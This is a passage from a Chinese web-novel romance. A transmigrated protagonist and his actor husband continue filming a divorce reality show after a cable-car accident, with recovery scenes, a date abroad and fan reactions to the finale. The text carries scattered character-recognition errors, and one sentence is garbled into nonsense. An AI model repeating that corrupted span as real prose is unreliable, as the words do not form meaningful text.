钱,他在哪里都能赚。但他跟谢景和的离婚任务,必须在这档综艺里完成,时蔺川没有一丝丝犹豫,果断道:“继续录,后续的拍摄流程做出相应的修改就好了,无论如何,我要这档综艺圆满收官。他说得斩钉截铁。谢景和就是这个时候进门。他仍旧坐在轮椅上,但身后推动轮椅的人已经换了一个。气质温文尔雅的男人推了推眼镜,耐心地用中文跟他解释“''皮下出血''会给人带来怎么的伤害谢景和听得非常仔细,连连点头。直至进门的瞬间。 他动作骤停,表情有些错愕。 黎焕站在轮椅后头,微微蹙着眉,劝道:“时先生,你们两个现在的状况都不适合参与录制,需要静养…”时蔺川淡声道:“策划应该可以想出静养模式的拍法。 屋子里沉默了数秒。 谢景和不作声。 时蔺川本来不想多说什么,不管谢景和愿不愿意,自己有一百种方法让他答应,但迎着这人的视线,他的嘴巴居然自己开开合合,说起了话“做事要有始有终,反正节目组可以配合我们,调整录制内容,所以. 话没说完。 谢景和看着他,冷不丁问道: “蔺川,你在跟我解释吗?" "你说是就是吧。 140、Chapter 140 事故发生的第二天 整个上午,时蔺川始终躺在病床上,却一刻都没有闲下来过——先是跟总导演沟通,紧接着围绕“综艺后续流程与“缆车事故回应”这两个话题,开展了一场线上视物会议 参会人数不少。 谢景和亦在其中。 作为参演嘉宾、兼节目组的出品方与投资人,以及谢景和所属娱乐公司的老板,时蔺川的话语权极大,如无意外,一切都将按照他想要的方向推进 然而,意外还是发生了。 在线上会议正式讨论出章程之前,谢景和沉默了好半响,仍是主动喊了停,并提出要跟自己的伴侣单独聊一会儿, 很快, 会议暂停,围坐在病床边的总导演和几位策划也一并退了出去,给夫夫俩儿留出谈话的空间。 时蔺川微微侧过脸,表情并不意外。 “你想聊什么?" 如此问着,他的心里实则早有答案。 身为当事人之一,谢景和完全可以依照合同里的不可抗力条款退出节目,只是事态发展过于迅速,他还没来得及跟自己讨论这件事,自己便做出了“继续拍摄这一决定。 事先并没有征询过他的意见。 果不其然。 谢景和坐在轮椅上,盯了他好一会儿,抿着唇道:“蔺川,你都没有跟我商量过,刚才只是在单方面通知我 时蔺川很坦然:“嗯。 他说得掷地有声,一副满不在乎的模样。谢景和的表情很无语,像是一只漏了气的氢气球-一有点气,但不多,还滋滋地往外冒,尤其是当他的眼神一扫到男人的眉眼与皮肤.….他俯身靠近男人,闷声控诉道: “你这是独裁!" 时蔺川忍不住笑了一下。 “对啊,我是法西斯,你才知道?" 在时蔺川看来,谢景和也是个很矛盾的人。 他拥有着相对健全的人格与品性,远超时蔺川过往三十几年里见过的绝大部分人,可在对待亲密关系这方面,却有着病态般的无底线。 面对伴侣屡次的言语侮辱和刻意糟践,谢景和当然会感到生气,甚至发怒,放狠话。但最后,他总会主动道歉与妥协。每当时蔺川觉得自己的所作所为大概要把人伤透了的时候,谢景和总会给出他无法预料的反应,看上去像是恋爱脑病入膏育,没得救了 病情比原著小说里描述得还要严重。 而时蔺川本人,恰巧就是病原体。 此刻大概也不例外。 谢景和身体里的气很快漏光。 他轻轻将脑袋靠到男人的枕边,不由自主地屏住了呼吸,脑袋里似乎正在进行天人交战,片刻后才缓慢呼出一口气,问道:“"你为什么这么坚持要录完这档综艺? 话音刚落。 屋子里一阵沉默。 时蔺川莫名走了会儿神。 录制先导片的那天晚上,谢景和也曾私下来找过他,询问自己是否当真要跟他离婚,只是后来两人鬼使神差地缠斗在一起,胡闹到精疲力竭,以至于时蔺川尚未做出正面回答 再然后。 谢景和似乎察觉到了他的真实想法,再也不敢问。 眼见男人一连几天都毫不犹豫地拍下红灯,他只是默不作声,或是用枕头一个劲儿地捶打对方,借此发泄心底的不安与彷徨。 不疼。 时蔺川任由他打,甚至觉得有些爽快, 因此,时蔺川听到这个问题之后,神情有一瞬的诧异。然而这阵诧异很快被另一阵平静与释然所掩埋,仿佛已经习惯了对方给自己带来的失控感, 谢景和变成胆小鬼了。被他。 所以说 谢景和,谢景和啊。 时蔺川无声地咀嚼着这个名字,忍不住微微领首,嘴唇抵在这人的眉心处,说话时,仿若连绵的轻吻. “你心里不是已经有答案了吗?" 说完,他补充道: "-呼吸。" 谢景和这才发现自己已经屏息许久,当即深深吸了一口,如此往复了几次,终于恢复了身体的血氧平衡。他下意识地将自己的脸埋进了男人的颈窝,像是寻找依靠的小动物,轻声问:“那等到节目录完了,我们会怎么样?" 还能怎么样? 时蔺川很无所谓地想着,等录完这档离婚综艺,他在这个书中世界的最后一个任务也临近完成,稍微处理一下尾牙,就能领取任务奖励,返回自己原来的世界了。那个没有谢景和的世界。时蔺川并不屑于美化自己的所做作为。 他确实是人渣行径,起初也是真心实意地想要推毁谢景和,单方面地将这场扮演任务上升为一场争斗,只想跟谢景和厮杀到最后,在对方的灵魂深处留下不可磨灭的痕迹 让他痛。让他思之欲死。 现在么…男人的店有些干燥,摩警看谢景和的欲角,常来阵阵痒意路微沙叫浪品在化且朵单知你还想怎么样?找放过你了你紧收抬收抬,跑最后那两个字,是气音。 霎时间,谢景和的耳后泛起酥麻感,头皮发紧。 轻飘飘的两个字似一柄勾子,把他心口萦绕着的恍惚勾了出去,谢景和沉默片刻,牛头不对马嘴地回了句,“我的腿断了,医生说要好好休息。 时蔺川:“…这都什么跟什么?时蔺川忽然失笑,笑得撕裂的肌肉筋膜隐隐作痛,笑到眼泪快要渗出来,随即他无比崩溃地骂了一声,“谢景和,你他。的是不是脑子有问题啊?!"谢景和也在笑,笑到哭。“对啊。”他学着男人得意洋洋的语气,耀武扬威地道,“谁让你先招惹我的,现在跑不掉了吧? 他抽了一下鼻子。 ".….时蔺川。” “是我不放过你,懂吗?" 时蔺川瞪着天花板,不言语。 最终,经过一致决定,节目组将以原班人马继续录制。 策划组加班加点,在国内元旦这天交出了修改过后的方案,确认无误后,三方联动,一同宣布了关于节目组的后续安排。 节目组宣布直播改为录播,每周五周六更新,并为参演嘉宾在录制期间发生的意外表示深切数意,NO1则发布了缆车事故的前后始末,两位当事人与景区的处理方案,言辞温和,极尽安抚. 最后,是谢景和本人登记账号,发了一条博文。 底下附带了一条视频。 该博文一经发布,节目组与NO1的官号就相继转发了,不一会儿就冲中上了热搜。毕竟不仅谢景和的粉丝密切关注缆车事故的后续发展,无数路人观众也十分好奇 那段事故视频给人们带来的冲击太大了。 此时,国内时间尚早。 下午一点不到。 而多丹的天,却暗得深沉。 视频近乎五分钟,一点开就是浩淼的黑色穹顶,纯白的雪粒像是凭空出现的,如羽毛般,在半空中打着旋儿落下来 持续了约莫三四秒的时间。 忽然有人说了一句话。 “下雪了,好看吗?” 【!!】 【….是景和的声音。【好看!】【让我们也看看你.】明明只是一段视频,视频里外的人却像是对上话了一般。视频画面骤然翻转过来,以一个极其死亡的角度,露出了说话之人的面孔俯视角度很考验五官的立体度。 “不好意思,正在输液,只能这样跟大家见面了……"谢景和宛如跟旧友打视频聊天那样,语言平实地父代了这两天发生的事情,听到他打算继续拍摄,博义底下的评论数量直线飙升。 基本都是劝阻和不解。 【都这样了,还拍什么啊?!】 [别拍了,也别离了,无论你们当初是怎么在一起的,现在又为什么突然上离婚综艺,但是看完那个事故视频,我不知道还有什么人想看你们俩儿离婚。】 【这真是拿命在拍综艺了,牛的。】 【是啊,又相信爱情了。】 【别离了,好好过吧。】 【】 交代完近况,视频中人忽然陷入沉默,随后不知道想到了什么,敛眸看了一眼镜头,话锋一转,“"本来是打算两个人一起出镜的,但是他不让我拍.…" “说会吓到小朋友。” 【哦哟,那个''他’字一出来,表情就不一样了[斜眼]】 【.''他’没事吧?】 说完这句,就见视频中人艰难地拎起手机,将画面拉近后,调整了一下角度,然后歪着脑袋,露出了原本被自己挡住的后景。 夜深了。 双人病房里的灯很暗。 其中一张病床空空如也,另一张床上,男人仰面平躺,脸却微微侧着,狭长的眸朝镜头的方向望过来,发觉持着手机的人正在偷拍自己之后,他沉默地收回了视线. 男人此时的样子属实不好看。 皮肤下的血点扩散开来,还没吸收完毕,让他的肤色看上去有些怪异,加上那双看不到眼白的瞳,甚至给人以强烈的非人感。 视频前景。 谢景和隔着屏幕注视着男人的侧影,同样注视着屏幕外的观众,缓缓道:“总之,大家不用担心我们的身体状况,在往后的录制中,我们会给这段婚姻,和彼此一个交代.…. 视频就此结束。 但评论区的讨论仍在继续. 【最后那个眼神啊.… 【我有点不太好的预感。】【我靠我靠,别离啊!!这辈子有一个能给你豁出性命的伴侣真的不容易,我已经把之前祝离婚的评论删掉了,你们千万别离!】【祝99,千万要99啊!在一片热烈的讨论中,某个白板账号转发了谢景和这则带视频的声明,并评论道:【都让你别拍。】 无人关注。 多丹的雪一直下。 养伤的时间被雪色覆盖,消融在每一个白夜。 国内快要过年了。节目组的大部队与另外两组嘉宾早就转换了拍摄地,而时川与谢景和仍旧滞留在多丹,独成一道风景 这一天。 是谢景和去医院拆石膏的日子。 距离节目的最终选择 只剩下三天。 141、Chapter 141 国内时间,一月十七日。 四九天。 清晨,时蔺川从装有固定摄像头的卧室里醒来,窗帘拉了半边,另外半边则乖巧地站在墙根,一动也不动,北欧风格的碎纹玻璃折射着阳光,投在木质地板上、时藏川望着堆积在窗框的白雪,收回视线,绣绣落到被窝里的另一人身上谢景和还在睡。两人住了几天院, 确认了身体状况没问题之后,节目组便为他们准备了这间临近医院的双人公寓,出入便利,风景怡人。尽管手机再度被收走,但工作人员与跟拍师打起了十二分精神,对两位伤员格外照料。尤其谢景和的助理乐言,时不时提着采购物资上门看望两人,平日更是住在隔壁,寸步不离。转眼间,两人已在这间北欧小屋里生活了两周多。节目组没有刻意安排什么环节,只当记录两人的疗养日常,十分之佛系。 为此, 谢景和还打趣过几句。 “我们俩儿的镜头剪完应该很少吧?" “每天都很无聊地躺着,走路都费劲。 说着说着,他自我否定道:“那也不一定.…”紧接着他瞥了眼男人,意有所指地说,“我们两个应该算是这档综艺里的"皇族”吧? 时蔺川看着他,只觉得一 谢景和真的是疯了。 在明确知道自己绝对会选择离婚的前提下,他似乎又变回曾经那个快乐阈值很低的家伙,并且丝毫不顾及开机状态的镜头,放肆地展现出自己在男人面前时的黏腻情态。 像是喝了假酒。 又似举着小木棍在沙滩上画画的小孩儿,明知道潮汐逐渐高张,沙滩即将被幽蓝海水淹没,一切痕迹都会被冲中洗干净,他却不急着跑,只是一个劲儿地将挥舞着小木棍,试图将画幅完成。 一般来说,时蔺川的角色应该是在旁边两手插着兜围观,还要冷嘲热讽的讨厌熊大人,但谢景和的疯病好像会传染,让他也变得不正常起来了 具体表现为: 这段时间,两人同住在一个屋檐下,并且二十四小时形影不离,居然一次架都没有吵过。时蔺川总是莫名其妙地熄了火儿,宛如被一盆水浇透的活火山。 哑了,光冒烟。 卧室里暖烘烘的。 时蔺川收回乱飞的思绪,缓慢坐起身。 他又瞥了眼谢景和睡得泛起薄粉的面颊,轻而慢地将横在自己腰间的手臂拉开,刚要塞进被子里,猝不及防看到掌心那条嫩白的疤痕,动作骤然一顿谢景和前两天刚拆线。也是在那时候。时蔺川才看到这条疤痕的全貌。碎玻璃片堪比利刃,从谢景和的虎口划到小指根部,跨了三条掌纹,将其尽数劈断,只留下一道微凸的疤时蔺川握着这只手,大拇指无意识地在疤痕上来回摩挲,谢景和不知道是不是发了梦,宛如膝跳反射一般,于睡梦中蜷起了手指,轻轻模住了他的大拇指。时蔺川实在难以脱身,好半晌才摆脱了这个大麻烦,成功下了床。他踩着毛绒拖鞋进了盥洗室 镜中倒映着男人的影子。时蔺儿的出血症状早几天就恢复了,真正棘手的是肌肉与筋膜的撕裂伤,如今仍在隐痛,整条臂膀只能以极慢的谏度进行日常活动,提重物更是不用想了。医生说,起码要三个月才能完全复原。等到那时候,他的离婚任务早就完成了….时藏川边刷着牙,边漫无边际地想着,忽然听到门外传来响动,不一会儿,谢景和睡眼惺忪地支着拐杖走进来,一句话也不说,直接从背后抱住了他,时蔺川不管他,径直弯腰漱口。谢景和也跟着他弯腰,整张脸埋在他背上,两只手很不规矩地钻进他的衣服下摆。掌心那道疤痕存在感很强,带来阵阵异感有点痒。这是他们在过往婚姻生活中,时常发生的一幕——昨晚大肆折腾了一夜的人,翌日清晨又懒洋洋地贴上来,仿佛正在回味着夜里那阵深入骨髓的滋味。通常情况下,时蔺川不吝于发生点什么。 但绝对不包括今天。 时蔺川用一次性洗脸中擦干自己的脸,淡声道:“要是实在憋不住了就摸你自己。你是不是忘了今天预约了医生拆石膏?谢景和嗓音微哑:“没忘。”这声儿像是他从鼻子里哼出来的,带着浓重的困意。可两人近日的养伤生活格外规律,每晚准时准点地拍完那益象征着婚姻选择的红绿灯之后,基本倒头就睡因此,时蔺川分外不解,昨夜谢景和明明睡得比他还早,现在困成这样属实离奇。学猪叫果然是有报应的。 思及此处。 时蔺川直起腰,正要调侃一句,拾眸便營见镜中倒影——几缕卷翘的栗发从他的肩后露出来,衣服底下是一双不守规矩的手,身后那人的小臂勾带起他的睡衣下摆 一截侧腰线若隐若现。 尽管睡衣很厚实,但挡不住某些反应。 时菌川的额角跳了跳,忍不住扭头瞪了眼身后之人,嘴巴刚张开就看到谢景和忽然仰高脖子,将下巴搭在他的肩头,迷迷糊湖地发出一声意义不明的闷笑,然后柔软的唇一下下地印在他的颈侧。 谢景和的神情很诚恳,宛如朝圣。 说的话却荡得没边了。 他说, ".….有点痒。 时蔺川确信,他的痒跟自己的痒不是一回事。 盥洗室这种私密场合是没有安装固定摄像头的,再加上两人的音量格外轻微,几乎是用气音在说话的,所以这类限量级话题基本不会被机器录到。 当然了。 就算被录到什么,节目组也不敢往外播 然而,时蔺川只是将水龙头调整到冷水那头,将洗脸巾彻底打湿之后,猛地往身后那人脸上一盖,恶狠狠地揉搓两下,“大清早的,发什么癫? 谢景和冷得一激灵,被男人搓得五官皱起来,却还很倔强地小声辩解道:"不是发癫,是发……" 时蔺川动作顿了两秒,只当没听见。 谢景和在撒谎。 他不是痒,而是舍不得。 时间是个小偷,将两人相处的时间一点点偷走,所以谢景和下意识地想要将他抱得更紧,甚至不满足于单绅的相拥,渴望着更深切的触碰与感受 毕竟,也没几天了。 拍摄先导片那天是冬至。 12月21日,两人前往民政局签署了离婚协议书,系统自动将两人的离婚申请登记录入,即日开始计时,而节目组的(最终选择日)定在1月20日,正好是三十天冷静期过后的日子。 三组嘉宾需要回到原点,进行最终的、不可更改的选择 两人因伤滞留多丹许久,错过中后期的录制流程也就罢了,但最后这天的录制绝对不能缺席。按照节目组的规划,他们最迟要赶19日的长途飞机,飞回国内进行最后一天的拍摄 也就是说. 他们俩儿只有今明两天的相处时间了。 谢景和大概是意识到了这点,所以才抱着他不撒手,满口勾人的话语,神情却单纯得像是讨糖吃的小孩儿。 时蔺川垂眸盯着人,一句话就让他消停了。 别闹妖了。" “乖一点,拆完石膏就带你出去约会。 去医院的路上。谢景和坐在车后座,心情很好地望着外面的街景,很含糊地哼了两句调子,听得时蔺川很是无语,忍不住凑过去数落了两声,“这么容易相信我?不怕我又骗你?" “我有前科的。“时蔺川冲他挑了挑眉。闻言,谢景和回头瞥了他一眼,像是忽然想到了什么,神色顿时一凛,语气也分外严肃,“忘了问了.“你等下打算带我去哪里约会?"时蔺川很不讲究形象地翻了个白眼。谢景和单手揪着颈间绕了好几圈的围中,遮住下半张脸,难掩兴奋地重复道:“去约会!去约会! 一个人喊出了一百个人的气势。 时蔺川睨着他的侧脸,没再说什么扫兴话了。 ….就当是害他摔断腿的赔偿吧。 待两人并肩走出医院,时间还没到正午。 谢景和松快不少,行动间也看不出异常,医生叮嘱他两个月内稍作注意即可,情况跟时蔺川大致相同。 简而言之,就是不能进行激烈运动。当时蔺川将医生的话翻译成中文,念给谢景和听的时候,这人似乎想到了今早在盥洗室的小片段,不自觉地抿着唇冲男人微笑了一下,同时心虚地捋了两下微卷的额发,刚出医院大门。时蔺川就见卸下了腿部负重的人绕到自己身前,拽着自己的袖子倒退走路,直截了当地问道:“我们接下来去哪儿?"天空下了点小雪。 地上有些滑。 阳光肆无忌惮地躺在地上,被过路的行人踩成不同的形状。 谢景和呼出来的热气是一团团清透的雾,遮不住他明亮的眼,唇边的笑似乎与这个季节格格不入。 时蔺川看着他,静静地看着他。 只觉得, 冬天即将过去。 一春天快要来了。 它就藏在谢景和的身体里,藏在一只西伯利亚蝴蝶的翅翼里。而时蔺川已经无法忽略它的美丽,更无法违心地表示自己对它毫不在意。厌恶一词,更是无从说起。 他可能 很喜欢谢景和吧。 偷偷承认一秒钟,也不要紧。 142、Chapter 142 时间一晃而过。 年关将近了。 近一个月以来,备受大众关注的离婚综艺《你为什么不开心》早在1月20日那天就结束了录制。 经过数日的后期剪辑,大结局将在本周五晚八点播出。 碍于月初那场发生在国外的缆车事故,节目组对录制流程做出了相应调整,同时对观众宣布了“物底关闭直播通道、这一决定,以至于后期的内容全然成迷,观众只能从直播间的评论区转移到其他社交平台进行讨论。 按理来说,一档综艺节目这么折腾,早该引起观众不满,糊成一团了——事实却恰恰相反。 当时游客拍摄的事故视频一传回国内就冲上了热搜,不仅众多营销号争相转发,更有官媒转发并评论。 比起营销号的震惊体标题,官媒的标题与内容十分客观简短。 [I观察日报:#多丹雪山缆车事故#据了解,国内某档综艺节目在录制过程中,发生了缆车轿厢困停与相撞事故.……,当我们遭遇设施故障,该如何自救,以及尽量延长等待救援的时间?】 该报道附带了一个视频。 正是事发时的视频。只不过画面经过二次编辑,用字幕展示了事发的时间与地点,背景音除了拍摄者时不时响起的惊呼,还有播音员对事故始末的客观叙述与讲解,吐字清晰,字正腔圆视频中的惊险一幕也被红框圈了起来。 画质不太清晰,人影亦模糊。 天色湛蓝,轿厢是透明色,两个人仿佛悬在了半空中,惟有双手相接,看上去居然有种别样的浪漫,只是当远景镜头扫到两人跟地面的距离,才揭露了浪漫背后的致命危险 看得人后背汗毛竖起。 此后,各地消防相继转发。 再然后,某位资深官方记者发表了一篇文章,在讨论综艺节目的拍摄隐患的同时,也肯定了节目组对探讨情感问题的出发点 文章末尾是这样写的: ''——爱是人类永恒的话题,期待该节目交出的答卷。 恰时,有狗仔曝出某一线艺人婚后出轨,以及某鲜肉跟数位粉丝私联,两厢映衬下,显得离婚综艺都眉清目秀了起来,时谢超话的关注人数更是迎来爆炸性增长 甚至,其中混入了大量谢粉。 【隐婚也好,剧本也罢,这泼天流量你们爱恰就恰,只要最后不离婚,一切都好说.……如果经历过这样的事情都走不到最后,观众真的会恐婚的!![大哭)【真人cp的巅峰,谁反对?】【妈耶,最近瓜太多了,来这里洗洗眼睛。】【我也是!!】【气氛已经到这儿了,再离就不礼貌了。】 【】 周五这晚.大结局干呼万唤始出来。在前两期节目中,另外两组嘉宾早就转换了阵地,在不同的游戏环节与旅途中,他们也曾爆发过争吵,冷战,情绪屡次失控,就像每一对普通的伴侣一样镜头将其记录下来,展露在观众面前。而另一对嘉宾的画风却大不相同。飞机划过天际。两个行动不便的伤员仰头看着,搭配着后期效果,营造出一种被节目组抛弃了的感觉。世界那么大,好像只剩他们两个了。因此,当两人肢体健全地出现在镜头前的时候,观众忍不住齐声感慨道:【不容易不容易,终于不是紫薯精和铁拐谢了!!帅的!】【哈哈哈,你礼貌吗!!】【嗯???节目组居然这么大方?】视频中。 雪簌簌落下。 倒退走路的人被男人牵着。在他即将撞上身后柱子的时候,男人反手一拽,轻而易举地将他拉了回来. 就在这时候。 镜头拉近,有只手从边角入画,递上咖褐色的皮夹,里头装满了兑换好的纸币,鼓鼓囊囊的,跟拍导演的声音随即响起来,“时老师,谢老师,这两天你们可以自由活动,直到钱花光为止.…" 【呜呜呜,怎么有种吃断头饭的感觉?】 【丰盛得我有点害怕了。】 经过后期剪辑,整整两天的镜头被压缩成了一首歌的时长。 前奏是木吉他与钢琴的合奏,紧接着鼓点跳动了起来,与画面中两人急匆匆的脚步相呼应-一他们接过皮夹,什么随行物品都都没带,就这么出发了 镜头抖动,快切。 像是一段世界毁灭前的录像。大雪纷飞,脚印被重新填埋。两人争分夺秒,穿行在异国街头,谁也没回头,甚至将夜色批在身后,用皮夹里仅剩的钞票买了两张船票,相互依偎在观景邮轮的甲板上吹冷风,终于在凌晨时分,成功等到了巨鲸跃出海面,水花四溅 天空被冻得褪了色。 日出的红光被浓重的云层掩盖 但很快,云絮被撕开一道裂口,曦光倾泻而出,将透明的水珠包裹上晶莹的罩层。 天空重新染上颜色。 一首歌的时间走过了三分之二, 鼓点愈发躁动,激烈。 穿着口棉袄的人看起来已经玩疯了,他单手抱着伴侣的腰借此在是悠的甲板上站稳然广满脸红光地冲镜头兴奋大喊"拍到了吗!“是鲸鱼!"邮轮甲板上的其他游客也齐齐高呼,尖叫。镜头的角落,有情侣在接吻。白棉袄显然瞥见了,下意识地抬眸看向比自己高出一截的男人。两人四目相对。男人一身黑,整个人宛如定海神针般站着海面上风声很大,收音设备的效果不是很好,不知道两人无声地用眼神交流了什么,男人忽然回头瞥了一眼身后的摄像头 下一秒。镜头骤然切入无人机拍摄的远景。【???】【等等,我好像听到''啾’的一声!】 【是不是亲了?】【肯定是亲了呀,眼神都拉丝了。】【妈耶,这对是不是上错综艺了?应该上恋综吧?有一说一,我追过的恋综都没这么甜]【已婚人士的含金量。】很快,一首歌结束了。 乐声退场后,空气里的潮意几乎要从屏幕里溢出来。观众莫名有些恋恋不舍。但视频里的时间已经来到1月18号的傍晚。两人下了邮轮,并肩在雪地里走着,用从皮夹里抠出来的几枚硬而凑够了一份街头小吃的钱,很随意地在街头你一口,我一口地分食了。随后,沉默开始蔓延。白棉袄突然从口袋里掏出皮夹,似乎还想从里面翻出一点钱。哪怕一个面值最小的硬币。但是钱已经花光了。【节目组你又叉,看得我快要飙泪了。】【悲伤在倒计时】 【这段剪辑真的神了,感染力好强!】 半晌。 男人从他手中拿过皮夹,唰地一下拉开了夹层的拉链。他的指节微弯,默不作声地从里面抽出了两张长方形的纸片状物品是两张返程的飞机票 143、Chapter 143 男人从隐藏夹层里抽出飞机票的动作过于流畅,谢景和马上就反应过来了,他沉默了两秒,咬着下唇拾眸瞪男人,质问道:“你早就知道了是不是?还是说…. “就是你让他们放进去的?"说完,谢景和脑袋一瞥,直接望向跟拍镜头后面的工作人员,学着男人的模样冷下脸,可惜杀伤力不足,倒是看得几位随行人员心下一阵酸软,忍不住拾手指认了罪魁祸首。时蔺川。谢景和的视线顺着他们指尖的方向,移回男人的脸上,做了个很气愤的表情,“我就知道,你有前科的!每次都在我高兴的时候,故意做让我心梗的事情!"说话间,他领口的毛绒球似乎一同炸开了。 看样子是气急了。 话音刚落。谢景和忽然掉头跑了。医生说他的骨裂程度很轻微,再加上正值青壮年,身体机能处于最强健的状态,拆了石膏之后,大概过个两三周就跟没事人一样了,只不过时蔺川故意吓唬他,把时间往长了说见此情景。 时蔺川愣了一秒。 只一秒。 紧接着,他收回视线,神色平静地盯着手里的飞机票。 比起先前自己屡次不做人的行为,取飞机票这个动作很轻微,但不知道为什么,这回谢景和的反应格外大.… 只不过,这也是迟早的事。 没什么好奇怪的。 然而,下一秒。 “咻!" “啪-!" 高清镜头如实记录下这一幕: 在男人的视线盲区,一个约莫拳头大的雪球忽然自半空划过,又快又准地砸在他的下巴上。雪粒进溅开来,炸了男人半脸,大部分残骸落在他的黑色棉服上,格外显眼。 这片街区空旷极了,路上没有其他行人。 天色很暗,只剩路灯散发着温黄的灯光,照高这片被白雪覆盖的道路。而发动攻击的人穿一身白,站在十几米远的地方,转眼又团了几个雪球,泄情似的往男人身上砸。 次次不落空。 时蔺川身形高大,目标太明显。 一连被砸了几下,他忍不住动作潦草地将飞机票和皮夹往口袋里一塞,蹲下|身,就地取材团了个雪球,冲谢景和发动反击。 不过时蔺川的伤势主要在上肢肌肉,因此准头和力道都不如谢景和这只人形大猩猩。他又挨了好几下,莫名生出一股输了阵仗的感觉,便拔腿追过去,打算近距离制裁谢景和。 两人追逐了一阵。 最终,还是时蔺川技高一筹, 成功将谢景和围堵在墙角, 谢景和蹲在角落里,两只手被冻得通红,又生气又难过地瞪着身前的男人,这副样看得时川有点无语 他实在没想到,自己一个动作能把人气成这样。 在他做的那么多混账事里,这还排不上号。 "不公平,你要赖。 面对谢景和突如其来的指控,时难川只是显了是脑袋,抖掉头发上的残雪,又听到他语无伦次地道:“你联合节目组,提前把饭程的飞加票藏在钱包里.….只有我全心全意地跟你约会,这根本不公平! “你又在骗我。 谢景和斩钉截铁地说。 时蔺川渣得明明白白,对自己做过的人渣事儿供认不讳,却也不是什么罪名都认,于是他也蹲了下来,跟谢景和面对面,一副对簿公堂的模样。 两人挨得很近,膝盖差几公分就挤到一起。 他单手撑着脸,歪着脑袋问:“这也算骗吗?''不公平’又是什么说法?我说带你出来约会,哪一点没做到?你全程都很开心啊。 “飞机票是节目早就订好的,你也知道。" “我只是把它放进了钱包里。” “就算不放进钱包,里面,等下节目组也会主动交到我们手上,有什么区别吗?"时蔺川难得长篇大论地解释着,可谢景和只是沉默地瞪着他,始终没吭声,又在某一刻抬手捂住了眼睛,呼吸明显不是很顺畅,抽气声尤为明显时隔半个月。谢景和又哭了。他用那只掌心印有划痕的手盖住了自己的眼睛,随后深深吸了几口气,磕磕绊绊地跟时蔺川理论,“当然有区别,因为你始终知道钱包里装着回程的机票,你知道它就在那里,所以你跟我不一样.….“你就是在骗我。”谢景和说得乱七八糟,牛头不对马嘴。但时蔺川还是毫不费力地听懂了——谢景和在指责自己从始至终都有所保留,而他确实无从辩驳,只好用指尖探入谢景和的掌下,轻轻擦拭着眼下那片温润。 没什么好解释的。 只是谢景和的眼泪实在太烫了,几乎将他的指尖灼伤。这个角落有些昏暗,跟拍师跟随行人员站在距离两人稍远一些的地方,时蔺川用力地闭了闭眼,忽然将挂在自己跟谢景和领口的收音设备关掉了,艰难地开口道:“我就是.!“不太习惯。说着,他轻轻扯下谢景和覆在眼前的手,掌心与指节冷冰冰的,那道划痕被微成的液体蹭湿了。谢景和垂着眼眸,睫毛结成簇,不看他。不看更好。就算面前没有镜子,时蔺川也知道自己的表情绝对不算好看,他有些控制不住表情,先是重重地咬了一下舌尖,然后像是诉说不可见人的秘密一般,凑到谢景和的耳边,声量极轻地道了声“我不想太开心。谢景和蓦地抬起眼,满脸水。时蔺川很不自在地偏移了视线. 多丹的天气太冷了。 说不准对面这人脸上的水马上就结成冰,于是时蔺川暗暗地吸了口气,强迫自己将目光落回谢景和的脸上,一下下地替他擦泪。他的手,谢景和的脸都是冷的。只有吐息尚且温热。动作间,谢景和默不作声地将上身前倾,跟他额头抵着额头时蔺川忍不住晃动脑袋,跟这人蹭了两下,仿佛只要这样做,就能从对方的大脑里偷来一星半点的坦率.偷到了。他在谢景和的大脑里如入无人之境,七进七出。但时蔺川还是语塞了许久,才接着道:“总觉得太开心的话,之后就会发生不好的事情,让我觉得很危险”他说,不习惯。他说,很危险。可谢景和听了好一会儿,只听到两个字。碍于男人避而不谈的态度,他也不欲将其宣之于口。时间好似过去了一个世纪那么久。时蔺川突然听到谢景和轻声问, “蔺川,对你来说.” “我是危险分子吗?" 角落里很安静。闻言,时蔺川很无奈地笑了一下。或许是因为天气太冷,他紧闭双眼,清晰地听到自己说话时,牙齿正微微打着颤,“谢景和,你有没有自知之明?你何止是危险分子?"——你他。简直是恐怖分子!"谢景和霎时破涕为笑,很快又泪如雨下。 这一刻,他确认了两个事实。 时蔺川很爱他。 以及,时蔺川爱他爱得很痛苦。 雪又大了,险些将他们俩儿淋成雪人。 当天晚上。 两人登上了回国离婚的飞机。 144、Chapter 144 1月24日,周五。 对于许多人来说 今夜,注定是个不眠之夜。 起因是近日火爆全网的离婚综艺《你为什么不开心》播出了最后一期,进度条长达两个半小时,揭露了三组嘉宾在共同度过了为期一个月的离婚冷静期后,回到各自的城市,做出最悠抉择。 离婚, 或是不离婚。 自节目开播以来,网上便议论纷纷。 不仅是普通观众关注着嘉宾们的婚姻走向,还有许多自媒体博主带着显微镜看节目,并制作了相应的Reaction视频 化身分析帝,逐帧逐秒地深扒嘉宾的感情线. 三对嘉宾中,要属午时组的视频产量最多。 这也是意料之中的事情。 隐婚、闹离婚、以及两人的身份 其中一人是年少出道的娱乐圈影帝,粉丝体量格外庞大;另一人此前从未在公众面前露过面,身份却是娱乐圈新锐公司的神秘老板. 更别说节目开拍之前,影帝谢景和刚跟老东家馥光娱乐解约,转头便签入NO1的旗下。而NO1正是其丈夫时蒲川一手创立的企业,如今已是娱乐圈不容小觑的娱乐公司了。 成立三年的公司,隐瞒三年的婚姻 切的一切,都挑动着大众的好奇心。 节目开播之后,两人展现出来的爆点更是一个接着一个,比如''手机监控定位”事件,直接将讨论度推向了更高层面,简直可以用腥风,血雨来形容。 嗑CP的很多,唱衰的也不少。 尤其是网友总结与比较了三组嘉宾的每日按灯情况,发现只有午时组对「是否离婚」这件事展现了截然不同的态度 时蔺川坚定不移地按红灯,谢景和持之以恒地按绿灯 其他两组嘉宾都是动态变化的,只有这俩儿从一而终地贯彻自己的选择,戏剧感十足。 外界的分析帖子很多,众说纷纭 有说谢景和单方面倒贴金主的,有说两人钱色交易的,还有人说时菌川是个变态控制狂,不仅在谢景和的手机里装了监控,还拍了他的私密小视频,如今玩腻了,便威动(他跟自己上离婚综艺,想要榨干他最后的价值 当然了。 也有纯爱派大肆嗑糖,且有理有据。 开玩笑,谁家潜规则是这样的?? 背人,喂饭,打打闹闹,亲昵小动作根本藏不住,一看就是日常生活中频繁出现的场景,自然又生动,默契十足。 我跟我家狗子热恋期都没这么黏糊! 节目组放出的几段花絮——谢景和一屁股将男人坐倒在床上,拎起枕,头疯狂捶打那一段,已然成为时谢超话中的精华帖,新人入坑必看的高糖集合第一弹。 几方混战,各执观点,谁也说服不了谁。 直至旅途进行到第二周。 节目组抵达多丹的第二天上午,时蔺川与谢景和就在多丹的雪山景区遭遇了缆车事故,并且十分倒霉地成为二十多个被困游客中,伤情最严重的两个人。 情况之惊险,国内外都有新闻报道。 